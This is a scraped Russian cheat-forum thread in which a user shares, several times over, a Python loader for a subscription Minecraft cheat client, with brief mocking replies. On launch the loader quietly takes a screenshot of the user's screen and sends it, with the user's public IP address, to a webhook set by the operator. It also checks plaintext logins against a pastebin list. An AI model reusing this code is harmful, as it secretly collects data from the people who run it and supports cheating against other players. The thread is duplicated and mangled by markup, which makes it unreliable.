            zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
        os.remove(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")

        if not os.path.exists(minecraft_jar_path) or (os.path.getsize(minecraft_jar_path) != int(expected_jar_size)):
            red("Загрузка minecraft.jar...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")

    jdk2()

    xmx_input = int(sin("Введите размер памяти (от 1 до 16 для GB): "))
    if 1 <= xmx_input <= 16:
        xmx = f"{xmx_input * 1024}M"
        java_path = "C:/Ваш путь/Java/jdk-17.0.11/bin/java.exe"

        # аргументы для запуска вашей джарки, можете добавить дополнительные аргументы
        subprocess.Popen([
            java_path,
            f"-Xmx{xmx}",
            f"-Xms{xmx}",
            "-XX:+UseG1GC",
            "-XX:MaxGCPauseMillis=50",
            "-XX:+AlwaysPreTouch",
            "-jar",
            minecraft_jar_path,
        ], cwd=upgrade_dir if upgrade == 'y' else "C:/Ваш путь",
            creationflags=subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS)

    else:
        red("Неверный ввод. Пожалуйста, введите число от 1 до 16.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)


if [B]name[/B] == "[B]main[/B]":
    main()
Почему на это гавнище поносное не вернули поп-корн а мне да, у невер вх и ак1 не все дома явно
 
Начинающий
Статус
Оффлайн
Регистрация
23 Май 2023
Сообщения
5
Реакции[?]
0
Поинты[?]
0
Надеюсь этот ужас больше никто не будет юзать; да и на питоне делать лоадер не самая лучшая идея
 
Forge Api ;-;
Начинающий
Статус
Оффлайн
Регистрация
3 Май 2023
Сообщения
686
Реакции[?]
15
Поинты[?]
12K
Начинающий
Статус
Оффлайн
Регистрация
23 Июн 2023
Сообщения
308
Реакции[?]
2
Поинты[?]
0
Forge Api ;-;
Начинающий
Статус
Оффлайн
Регистрация
3 Май 2023
Сообщения
686
Реакции[?]
15
Поинты[?]
12K

Вложения

Начинающий
Статус
Онлайн
Регистрация
14 Апр 2023
Сообщения
287
Реакции[?]
3
Поинты[?]
0
братан но у тебя же конструктивно такой же лоадер.
xdd, у меня нет такой хуйни с проверками на тестерку, юзерку, фришку. Для викси фри я накалякал за 5 минут лоадер на питончике без проты, для премки лоадер на шарпике с обфускатором, даже если ты получишь доступ к коду лоадер написан фулл на POST-запросах к сайту, а если ты додумаешься просто скипнуть проверки то чит даже не запустится ведь в сам чит встроены проверки на запуск
xdd, у меня нет такой хуйни с проверками на тестерку, юзерку, фришку. Для викси фри я накалякал за 5 минут лоадер на питончике без проты, для премки лоадер на шарпике с обфускатором, даже если ты получишь доступ к коду лоадер написан фулл на POST-запросах к сайту, а если ты додумаешься просто скипнуть проверки то чит даже не запустится ведь в сам чит встроены проверки на запуск
буквально у тебя даже на секунду не появится окошко майна, все эти проверки происходят то запуска игры, а так же при заходе на любой сервер
 
Начинающий
Статус
Оффлайн
Регистрация
20 Апр 2021
Сообщения
1,044
Реакции[?]
19
Поинты[?]
24K
xdd, у меня нет такой хуйни с проверками на тестерку, юзерку, фришку. Для викси фри я накалякал за 5 минут лоадер на питончике без проты, для премки лоадер на шарпике с обфускатором, даже если ты получишь доступ к коду лоадер написан фулл на POST-запросах к сайту, а если ты додумаешься просто скипнуть проверки то чит даже не запустится ведь в сам чит встроены проверки на запуск

буквально у тебя даже на секунду не появится окошко майна, все эти проверки происходят то запуска игры, а так же при заходе на любой сервер
под хайд дай лоадер свой
 
Начинающий
Статус
Оффлайн
Регистрация
27 Сен 2022
Сообщения
111
Реакции[?]
3
Поинты[?]
2K
def sub(username, password):
response = requests.get("сюда ссылку на паст бин с прем-юзерами")
# такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
# если стоит / после *, подписка будет бесконечной
for line in response.text.splitlines():
if line.startswith(f"{username}:{password}"):
return line.split('*')[1].strip()
return None
[/CODE]
понял.
 
ппоршень
Пользователь
Статус
Оффлайн
Регистрация
15 Фев 2020
Сообщения
294
Реакции[?]
46
Поинты[?]
32K
Начинающий
Статус
Оффлайн
Регистрация
8 Сен 2022
Сообщения
13
Реакции[?]
0
Поинты[?]
0
Сливаю вам мой старый лоудер на питончике для ваших шедевро паст
В коде все подробно расписано, всем желаю удачи.

уауау я выебаная мартышка:
import os
import sys

import requests
import zipfile
import subprocess
import time
import pyautogui
import colorama
from colorama import Fore, Style

colorama.init(autoreset=True)


def download_file(url, dest):
    response = requests.get(url, stream=True)
    total_size = int(response.headers.get('content-length', 0))
    downloaded_size = 0
    with open(dest, 'wb') as file:
        for data in response.iter_content(chunk_size=4096):
            file.write(data)
            downloaded_size += len(data)

            ratio = downloaded_size / total_size if total_size > 0 else 0

            red = int(255 * (1 - ratio))
            green = int(255 * ratio)

            print(
                f"\r\033[38;2;{red};{green};0m[{'█' * (50 * downloaded_size // total_size)}{' ' * (50 - (50 * downloaded_size // total_size))}] "
                f"{downloaded_size / (1024 * 1024):.2f} MB/{total_size / (1024 * 1024):.2f} MB\033[0m",
                end=''
            )
    print()


def sub(username, password):
    response = requests.get("сюда ссылку на паст бин с прем-юзерами")
    # такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
    # если стоит / после *, подписка будет бесконечной
    for line in response.text.splitlines():
        if line.startswith(f"{username}:{password}"):
            return line.split('*')[1].strip()
    return None


def connect():
    try:
        ip = requests.get('https://api.ipify.org').text
        return ip
    except requests.RequestException:
        return "Eror"


def screen(file_path):
    screenshot = pyautogui.screenshot()
    screenshot.save(file_path)


def send(ip, screenshot_path):
    webhook_url = "ваш вебхук куда отправлять скриншот при запуске"
    with open(screenshot_path, 'rb') as f:
        files = {'file': f}
        data = {'content': f'IP-адрес: {ip}'}
        requests.post(webhook_url, files=files, data=data)


import colorama

colorama.init()


def grad1(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (1 - (i / (length - 1))))
        blue = int(255 * (i / (length - 1)))
        color = f"\033[38;2;{red};0;{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def green(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (i / (length - 1)))
        green = 255
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            red = green = blue = 255
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def blue(text):
    length = len(text)
    for i in range(length):

        red = int(255 * (i / (length - 1)))
        green = int(255 * (i / (length - 1)) * 0.5)
        blue = 255 - red
        if i == length - 1:
            red = 255
            green = 0
            blue = 0
        color = f"\033[38;2;{red};{blue};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def sin(prompt):
    blue(prompt)
    return input()


def red(text):
    length = len(text)
    for i in range(length):
        red = 255
        green = int(255 * (i / (length - 1)))
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            green = blue = 150
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def print_gradient(text):
    length = len(text)
    for i in range(length):
        green = int(255 * (i / (length - 1)))
        red = int(255 * (1 - (i / (length - 1))))
        blue = 0
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


# "Ваш путь" меняйте на вашу нужную деректорию ( ctrl + r по Ваш путь )
def jdk2():
    java_url = "https://download.oracle.com/java/17/archive/jdk-17.0.11_windows-x64_bin.zip"  # ссылка на скачивание джавы
    java_zip_path = "C:/Ваш путь/Java/jdk.zip"
    java_dir = "C:/Ваш путь/Java"
    java_dir2 = "C:/Ваш путь/Java/jdk-17.0.11/bin"

    if not os.path.exists(java_dir2):
        os.makedirs(java_dir, exist_ok=True)
        red("Загрузка джавы...")
        download_file(java_url, java_zip_path)

        with zipfile.ZipFile(java_zip_path, 'r') as zip_ref:
            zip_ref.extractall(java_dir)

        os.remove(java_zip_path)
    else:
        green("Java скачана, пропуск загрузки.")


def rep(bug_report):
    webhook_url = "сюда ваш вебхук для отправки репортов"
    data = {'content': f'Ошибка или баг: {bug_report}'}
    requests.post(webhook_url, json=data)


def devVer():
    response = requests.get(
        "логины премиум юзеров у которых будет доступ к деволпер версии в формате login (с каждой новой строчки новый логин)")
    return response.text.splitlines()


def main():
    usernames = devVer()
    grad1("""

_____        __ _       _ _              _____ _ _            _  
|_   [I]|      / [I]([/I])     ([I]) |            / __[/I][/I]| (_)          | |
   | |  _ __ | |_ _ _ __  [I]| |[/I] _   _    | |    | |_  ___ _ __ | |_
   | | | '_ \|  [I]| | '[/I] \| | __| | | |   | |    | | |/ _ \ '_ \| __|
  [I]| |[/I]| | | | | | | | | | | |[I]| |[/I]| |   | |____| | |  __/ | | | |_
|_____|[I]| |[/I]|[I]| |[/I]|[I]| |[/I]|[I]|\[I][/I]|\[B], |    \__[/I][/B]|[I]|[/I]|\[B][I]|[/I]| |_|\[/B]|
                                 __/ |                          
                                |___/                                                                                
    """)

    version = sin("Выберите версию Free/Premium (Введите Bugs для отправки бага): ").strip().lower()
    upgrade = None

    if version == 'premium':
        username = sin("Введите логин (или введите Bugs для отправки бага): ")
        if username.lower() == 'bugs':
            bug_report = sin("Введите описание бага: ")
            rep(bug_report)
            red("Баг-репорт отправлен.")
            grad1("Лоудер закроется через 5 секунд.")
            time.sleep(5)
            return
        password = sin("Введите пароль: ")

        if username.lower() in [user.lower() for user in usernames]:
            upgrade = sin("Скачивать ли Devolper Version? (Y/N): ").strip().lower()
            upgrade_dir = "C:/Ваш путь для деволер версии"
            os.makedirs(upgrade_dir, exist_ok=True)

            if upgrade == 'y':
                client_url = ""  # прямая ссылка на деволпер версию с assets и .jar
                mine_url = ""  # прямая ссылка на деволпер версию c .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером деволпер версии джарки, если размер не совподает будет скачиваться обновление (mine_url)

            else:
                client_url = ""  # прямая ссылка на премиум версию с assets и .jar
                mine_url = ""  # прямая ссылка на премиум версию с .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
        else:
            client_url = ""  # прямая ссылка на премиум версию с assets и .jar
            mine_url = ""  # прямая ссылка на премиум версию с .jar
            expected_jar_size = requests.get(
                "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
    elif version == 'free':
        username = "FreeUser"
        password = ""
        expected_jar_size = requests.get(
            "").text.strip()  # пасбин с вашим размером  фрии джарки, если размер не совподает будет скачиваться обновление (mine_url)
        client_url = ""  # прямая ссылка на фри версию с assets и .jar
        mine_url = ""  # прямая ссылка на фрии версию с .jar
    elif version.lower() == 'bugs':
        bug_report = sin("Введите описание бага: ")
        rep(bug_report)
        red("Баг-репорт отправлен.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return
    else:
        red("Неверный выбор. Пожалуйста, введите 'Free' или 'Premium'.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return

    ip = connect()
    screenshot_path = "pngs.png"
    screen(screenshot_path)
    send(ip, screenshot_path)
    os.remove(screenshot_path)

    if version == 'premium':
        expiration_date = sub(username, password)

        if expiration_date is None:
            red("Неверный логин или пароль.")
            return

        if expiration_date != '/' and expiration_date < time.strftime('%Y_%m_%d'):
            red("Подписка истекла.")
            return

    minecraft_jar_path = f"{upgrade_dir}/minecraft.jar" if version == 'premium' and upgrade == 'y' else "C:/Ваш путь/minecraft.jar"
    assets_path = "C:/Ваш путь для деволер версии/assets" if upgrade == 'y' else "C:/Ваш путь/assets"

    if os.path.exists(assets_path):
        actual_size = os.path.getsize(minecraft_jar_path) if os.path.exists(minecraft_jar_path) else 0
        if str(actual_size) == expected_jar_size:
            green("Клиент уже загружен. Пропуск загрузки.")
        else:
            red("Вышло обновление. Начинаю загрузку...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
    else:
        red("Загрузка Клиента...")
        download_file(client_url, f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")
        with zipfile.ZipFile(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip",
                             'r') as zip_ref:
            zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
        os.remove(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")

        if not os.path.exists(minecraft_jar_path) or (os.path.getsize(minecraft_jar_path) != int(expected_jar_size)):
            red("Загрузка minecraft.jar...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")

    jdk2()

    xmx_input = int(sin("Введите размер памяти (от 1 до 16 для GB): "))
    if 1 <= xmx_input <= 16:
        xmx = f"{xmx_input * 1024}M"
        java_path = "C:/Ваш путь/Java/jdk-17.0.11/bin/java.exe"

        # аргументы для запуска вашей джарки, можете добавить дополнительные аргументы
        subprocess.Popen([
            java_path,
            f"-Xmx{xmx}",
            f"-Xms{xmx}",
            "-XX:+UseG1GC",
            "-XX:MaxGCPauseMillis=50",
            "-XX:+AlwaysPreTouch",
            "-jar",
            minecraft_jar_path,
        ], cwd=upgrade_dir if upgrade == 'y' else "C:/Ваш путь",
            creationflags=subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS)

    else:
        red("Неверный ввод. Пожалуйста, введите число от 1 до 16.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)


if [B]name[/B] == "[B]main[/B]":
    main()
а нахуя, это нужно вообще кому-нибудь?
 
Начинающий
Статус
Оффлайн
Регистрация
20 Июн 2024
Сообщения
169
Реакции[?]
1
Поинты[?]
1K
Сливаю вам мой старый лоудер на питончике для ваших шедевро паст
В коде все подробно расписано, всем желаю удачи.

уауау я выебаная мартышка:
import os
import sys

import requests
import zipfile
import subprocess
import time
import pyautogui
import colorama
from colorama import Fore, Style

colorama.init(autoreset=True)


def download_file(url, dest):
    response = requests.get(url, stream=True)
    total_size = int(response.headers.get('content-length', 0))
    downloaded_size = 0
    with open(dest, 'wb') as file:
        for data in response.iter_content(chunk_size=4096):
            file.write(data)
            downloaded_size += len(data)

            ratio = downloaded_size / total_size if total_size > 0 else 0

            red = int(255 * (1 - ratio))
            green = int(255 * ratio)

            print(
                f"\r\033[38;2;{red};{green};0m[{'█' * (50 * downloaded_size // total_size)}{' ' * (50 - (50 * downloaded_size // total_size))}] "
                f"{downloaded_size / (1024 * 1024):.2f} MB/{total_size / (1024 * 1024):.2f} MB\033[0m",
                end=''
            )
    print()


def sub(username, password):
    response = requests.get("сюда ссылку на паст бин с прем-юзерами")
    # такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
    # если стоит / после *, подписка будет бесконечной
    for line in response.text.splitlines():
        if line.startswith(f"{username}:{password}"):
            return line.split('*')[1].strip()
    return None


def connect():
    try:
        ip = requests.get('https://api.ipify.org').text
        return ip
    except requests.RequestException:
        return "Eror"


def screen(file_path):
    screenshot = pyautogui.screenshot()
    screenshot.save(file_path)


def send(ip, screenshot_path):
    webhook_url = "ваш вебхук куда отправлять скриншот при запуске"
    with open(screenshot_path, 'rb') as f:
        files = {'file': f}
        data = {'content': f'IP-адрес: {ip}'}
        requests.post(webhook_url, files=files, data=data)


import colorama

colorama.init()


def grad1(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (1 - (i / (length - 1))))
        blue = int(255 * (i / (length - 1)))
        color = f"\033[38;2;{red};0;{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def green(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (i / (length - 1)))
        green = 255
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            red = green = blue = 255
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def blue(text):
    length = len(text)
    for i in range(length):

        red = int(255 * (i / (length - 1)))
        green = int(255 * (i / (length - 1)) * 0.5)
        blue = 255 - red
        if i == length - 1:
            red = 255
            green = 0
            blue = 0
        color = f"\033[38;2;{red};{blue};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def sin(prompt):
    blue(prompt)
    return input()


def red(text):
    length = len(text)
    for i in range(length):
        red = 255
        green = int(255 * (i / (length - 1)))
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            green = blue = 150
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def print_gradient(text):
    length = len(text)
    for i in range(length):
        green = int(255 * (i / (length - 1)))
        red = int(255 * (1 - (i / (length - 1))))
        blue = 0
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


# "Ваш путь" меняйте на вашу нужную деректорию ( ctrl + r по Ваш путь )
def jdk2():
    java_url = "https://download.oracle.com/java/17/archive/jdk-17.0.11_windows-x64_bin.zip"  # ссылка на скачивание джавы
    java_zip_path = "C:/Ваш путь/Java/jdk.zip"
    java_dir = "C:/Ваш путь/Java"
    java_dir2 = "C:/Ваш путь/Java/jdk-17.0.11/bin"

    if not os.path.exists(java_dir2):
        os.makedirs(java_dir, exist_ok=True)
        red("Загрузка джавы...")
        download_file(java_url, java_zip_path)

        with zipfile.ZipFile(java_zip_path, 'r') as zip_ref:
            zip_ref.extractall(java_dir)

        os.remove(java_zip_path)
    else:
        green("Java скачана, пропуск загрузки.")


def rep(bug_report):
    webhook_url = "сюда ваш вебхук для отправки репортов"
    data = {'content': f'Ошибка или баг: {bug_report}'}
    requests.post(webhook_url, json=data)


def devVer():
    response = requests.get(
        "логины премиум юзеров у которых будет доступ к деволпер версии в формате login (с каждой новой строчки новый логин)")
    return response.text.splitlines()


def main():
    usernames = devVer()
    grad1("""

_____        __ _       _ _              _____ _ _            _  
|_   [I]|      / [I]([/I])     ([I]) |            / __[/I][/I]| (_)          | |
   | |  _ __ | |_ _ _ __  [I]| |[/I] _   _    | |    | |_  ___ _ __ | |_
   | | | '_ \|  [I]| | '[/I] \| | __| | | |   | |    | | |/ _ \ '_ \| __|
  [I]| |[/I]| | | | | | | | | | | |[I]| |[/I]| |   | |____| | |  __/ | | | |_
|_____|[I]| |[/I]|[I]| |[/I]|[I]| |[/I]|[I]|\[I][/I]|\[B], |    \__[/I][/B]|[I]|[/I]|\[B][I]|[/I]| |_|\[/B]|
                                 __/ |                          
                                |___/                                                                                
    """)

    version = sin("Выберите версию Free/Premium (Введите Bugs для отправки бага): ").strip().lower()
    upgrade = None

    if version == 'premium':
        username = sin("Введите логин (или введите Bugs для отправки бага): ")
        if username.lower() == 'bugs':
            bug_report = sin("Введите описание бага: ")
            rep(bug_report)
            red("Баг-репорт отправлен.")
            grad1("Лоудер закроется через 5 секунд.")
            time.sleep(5)
            return
        password = sin("Введите пароль: ")

        if username.lower() in [user.lower() for user in usernames]:
            upgrade = sin("Скачивать ли Devolper Version? (Y/N): ").strip().lower()
            upgrade_dir = "C:/Ваш путь для деволер версии"
            os.makedirs(upgrade_dir, exist_ok=True)

            if upgrade == 'y':
                client_url = ""  # прямая ссылка на деволпер версию с assets и .jar
                mine_url = ""  # прямая ссылка на деволпер версию c .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером деволпер версии джарки, если размер не совподает будет скачиваться обновление (mine_url)

            else:
                client_url = ""  # прямая ссылка на премиум версию с assets и .jar
                mine_url = ""  # прямая ссылка на премиум версию с .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
        else:
            client_url = ""  # прямая ссылка на премиум версию с assets и .jar
            mine_url = ""  # прямая ссылка на премиум версию с .jar
            expected_jar_size = requests.get(
                "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
    elif version == 'free':
        username = "FreeUser"
        password = ""
        expected_jar_size = requests.get(
            "").text.strip()  # пасбин с вашим размером  фрии джарки, если размер не совподает будет скачиваться обновление (mine_url)
        client_url = ""  # прямая ссылка на фри версию с assets и .jar
        mine_url = ""  # прямая ссылка на фрии версию с .jar
    elif version.lower() == 'bugs':
        bug_report = sin("Введите описание бага: ")
        rep(bug_report)
        red("Баг-репорт отправлен.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return
    else:
        red("Неверный выбор. Пожалуйста, введите 'Free' или 'Premium'.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return

    ip = connect()
    screenshot_path = "pngs.png"
    screen(screenshot_path)
    send(ip, screenshot_path)
    os.remove(screenshot_path)

    if version == 'premium':
        expiration_date = sub(username, password)

        if expiration_date is None:
            red("Неверный логин или пароль.")
            return

        if expiration_date != '/' and expiration_date < time.strftime('%Y_%m_%d'):
            red("Подписка истекла.")
            return

    minecraft_jar_path = f"{upgrade_dir}/minecraft.jar" if version == 'premium' and upgrade == 'y' else "C:/Ваш путь/minecraft.jar"
    assets_path = "C:/Ваш путь для деволер версии/assets" if upgrade == 'y' else "C:/Ваш путь/assets"

    if os.path.exists(assets_path):
        actual_size = os.path.getsize(minecraft_jar_path) if os.path.exists(minecraft_jar_path) else 0
        if str(actual_size) == expected_jar_size:
            green("Клиент уже загружен. Пропуск загрузки.")
        else:
            red("Вышло обновление. Начинаю загрузку...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
    else:
        red("Загрузка Клиента...")
        download_file(client_url, f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")
        with zipfile.ZipFile(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip",
                             'r') as zip_ref:
            zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
        os.remove(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")

        if not os.path.exists(minecraft_jar_path) or (os.path.getsize(minecraft_jar_path) != int(expected_jar_size)):
            red("Загрузка minecraft.jar...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")

    jdk2()

    xmx_input = int(sin("Введите размер памяти (от 1 до 16 для GB): "))
    if 1 <= xmx_input <= 16:
        xmx = f"{xmx_input * 1024}M"
        java_path = "C:/Ваш путь/Java/jdk-17.0.11/bin/java.exe"

        # аргументы для запуска вашей джарки, можете добавить дополнительные аргументы
        subprocess.Popen([
            java_path,
            f"-Xmx{xmx}",
            f"-Xms{xmx}",
            "-XX:+UseG1GC",
            "-XX:MaxGCPauseMillis=50",
            "-XX:+AlwaysPreTouch",
            "-jar",
            minecraft_jar_path,
        ], cwd=upgrade_dir if upgrade == 'y' else "C:/Ваш путь",
            creationflags=subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS)

    else:
        red("Неверный ввод. Пожалуйста, введите число от 1 до 16.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)


if [B]name[/B] == "[B]main[/B]":
    main()
типа из нурика screen_saver()?
 
Сверху Снизу